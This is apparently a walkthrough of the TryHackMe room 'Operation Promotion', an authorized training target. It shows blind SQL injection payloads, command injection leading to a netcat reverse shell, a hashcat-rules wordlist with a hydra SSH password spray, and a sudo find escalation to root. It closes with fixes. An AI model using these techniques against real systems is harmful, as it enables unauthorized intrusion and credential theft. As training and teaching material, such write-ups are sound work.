mintshell
VI

Operation Promotion

An IDOR in an admin lookup reveals a hidden maintenance page; a boolean-blind SQLi dumps the user table; a command-injection ping page gives a www-data shell; a targeted wordlist cracks an SSH login, and sudo find hands over root.

Platform
TryHackMe
Room
Operation Promotion(external link)
Difficulty
Easy
Vulnerabilities
sql injection, insecure direct object reference, insecure command execution, weak credentials, insecure sudo configuration
5 min read

A walkthrough of the “Operation Promotion” room from TryHackMe (RecruitCorp Careers Portal). We pivot from an IDOR to a hidden maintenance page, script a boolean-blind SQL injection to dump every user, turn a diagnostics page into a shell, crack one SSH login with a surgically small wordlist, and ride a sudo find misconfiguration to root.

Operation Promotion is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. Both flags and every recovered credential are shown as THM{<redacted>} / <redacted> — real on the box, withheld here.


TL;DR

TL;DR

Apache careers portal with a robots.txt-disallowed /admin/ → an IDOR in admin/users/lookup.php?id= enumerates accounts and exposes a sysmaint service account plus a hidden sysmaint-checks/ping.php → the lookup is blind-SQL-injectable, scripted to dump all 9 users → the ping page is command-injectable via its hosts parameter → reverse shell as www-data → db.conf + /etc/passwd reveal user jford → the bcrypt hash won’t crack, so build a tiny spring2026-based wordlist with hashcat rules and hydra the SSH login (spring2026!) → user flag → sudo -l shows NOPASSWD /usr/bin/find → find -exec /bin/sh -p → root.

The target

export IP=<target-ip>
export ATTACKER_IP=<your-ip>

nmap shows SSH, an Apache careers site, and Samba:

22/tcp  open  ssh          OpenSSH 9.6p1 Ubuntu
80/tcp  open  http         Apache httpd 2.4.58   # RecruitCorp - Careers Portal
139/tcp open  netbios-ssn  Samba smbd 4
445/tcp open  netbios-ssn  Samba smbd 4

A null SMB session exposes a read-only public share with only a placeholder README.txt. robots.txt disallows /admin/, and a content scan confirms it — that’s where the action is.

The vulnerability

The admin area exposes users/lookup.php?id=N. Two flaws live in that one parameter: it is an IDOR (we can read any record by iterating the id) and it is SQL-injectable (the id flows into a query unsanitised). The IDOR leaks a sysmaint service account and a hidden maintenance directory; the SQLi lets us dump every credential.

Insight

The injection is boolean-blind: the login/lookup returns a 3xx redirect when the injected condition is true and a 200 when it is false. That single yes/no signal is a perfect oracle — wrap it in a binary search over UNICODE(SUBSTR(...)) and you extract usernames and passwords one character at a time, no error messages or data reflection required.

Step 1 — IDOR → hidden maintenance page

Iterating lookup.php?id= enumerates users and turns up the sysmaint service account, which points at a maintenance area containing ping.php under admin/.../sysmaint-checks/. Keep that page for later — it’s the foothold.

Step 2 — boolean-blind SQLi → dump the user table

sqlmap confirms the injection point; a small purpose-built script makes the extraction reliable. The oracle is “did the response redirect?”:

# oracle: injected condition true -> 301/302/303
'  OR 1=1 --   -> redirect (true)
'  OR 1=2 --   -> 200      (false)

Binary-searching each character via UNICODE(SUBSTR((SELECT ... FROM users LIMIT 1 OFFSET n),p,1)) dumps all nine rows:

Recovered credentials (values redacted):
  admin:<redacted>
  mvasquez / tparker / lhayes / kchen / rdavis / sysmaint / jbailey / aokafor : <redacted>

Step 3 — command injection → shell as www-data

The maintenance ping.php takes a hosts parameter and runs it through a shell. Injecting a command fetches and executes our payload; a listener catches the shell:

nc -lvnp 4444
# uid=33(www-data) gid=33(www-data)
python3 -c 'import pty;pty.spawn("/bin/bash")'

The app config and /etc/passwd name our next target:

www-data@recruitcorp:/var/www/html/config$ cat db.conf
# db_user=jford
# db_pass_hash=<redacted bcrypt hash>
www-data@recruitcorp:...$ grep bash /etc/passwd
# jford:x:1001:1001::/home/jford:/bin/bash

Step 4 — crack a surgical wordlist → SSH as jford (flag)

The bcrypt hash resists cracking and the dumped DB passwords don’t help. The site copy hints at a seasonal password (“Seasons combined with years”), so we seed spring2026 and expand it with a hashcat rule set, then spray SSH:

echo 'spring2026' > base.txt
hashcat --stdout base.txt -r /usr/share/hashcat/rules/dive.rule > wordlist.txt   # ~98k candidates
hydra -l jford -P wordlist.txt ssh://$IP
# [22][ssh] login: jford   password: <redacted>   (a spring2026 variant)
ssh jford@$IP
jford@recruitcorp:~$ cat user.txt
THM{<redacted>}

Step 5 — sudo find → root (flag)

jford may run find as root without a password — a textbook GTFOBins escape:

jford@recruitcorp:~$ sudo -l
# (root) NOPASSWD: /usr/bin/find
jford@recruitcorp:~$ sudo /usr/bin/find . -exec /bin/sh -p \; -quit
# whoami -> root
# cat /root/flag.txt
THM{<redacted>}

Impact

Critical

Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). An unauthenticated attacker chains an IDOR and a blind SQL injection to dump every account, then a command injection for code execution as www-data. A weak, guessable SSH password and an over-permissive sudo rule (NOPASSWD on find) escalate to full root — complete compromise of the host and the recruitment database.

Fix

  • Use parameterised queries for lookup.php and enforce authorisation so a user can’t read arbitrary records by id (fixes both the SQLi and the IDOR).
  • Never pass user input to a shell in the diagnostics page — validate the host and call an API without a shell.
  • Enforce strong passwords; a season+year password falls to a tiny rule-based wordlist.
  • Tighten sudo. Granting NOPASSWD on find (or any binary with -exec) is equivalent to granting root. Scope sudo to specific, non-escaping commands.

Takeaways

  • One parameter, two bugs. The same id was both an IDOR and a SQL injection point — always test identifiers for both.
  • A redirect is a perfectly good blind-SQLi oracle. You don’t need error output to exfiltrate a whole table.
  • Password policies beat hash strength. bcrypt protected the hash, but a guessable scheme undid it anyway.
  • Check sudo -l first. find on the list is a one-line path to root.

Operation Promotion is a clean easy-box chain that rewards careful enumeration. Thanks for reading.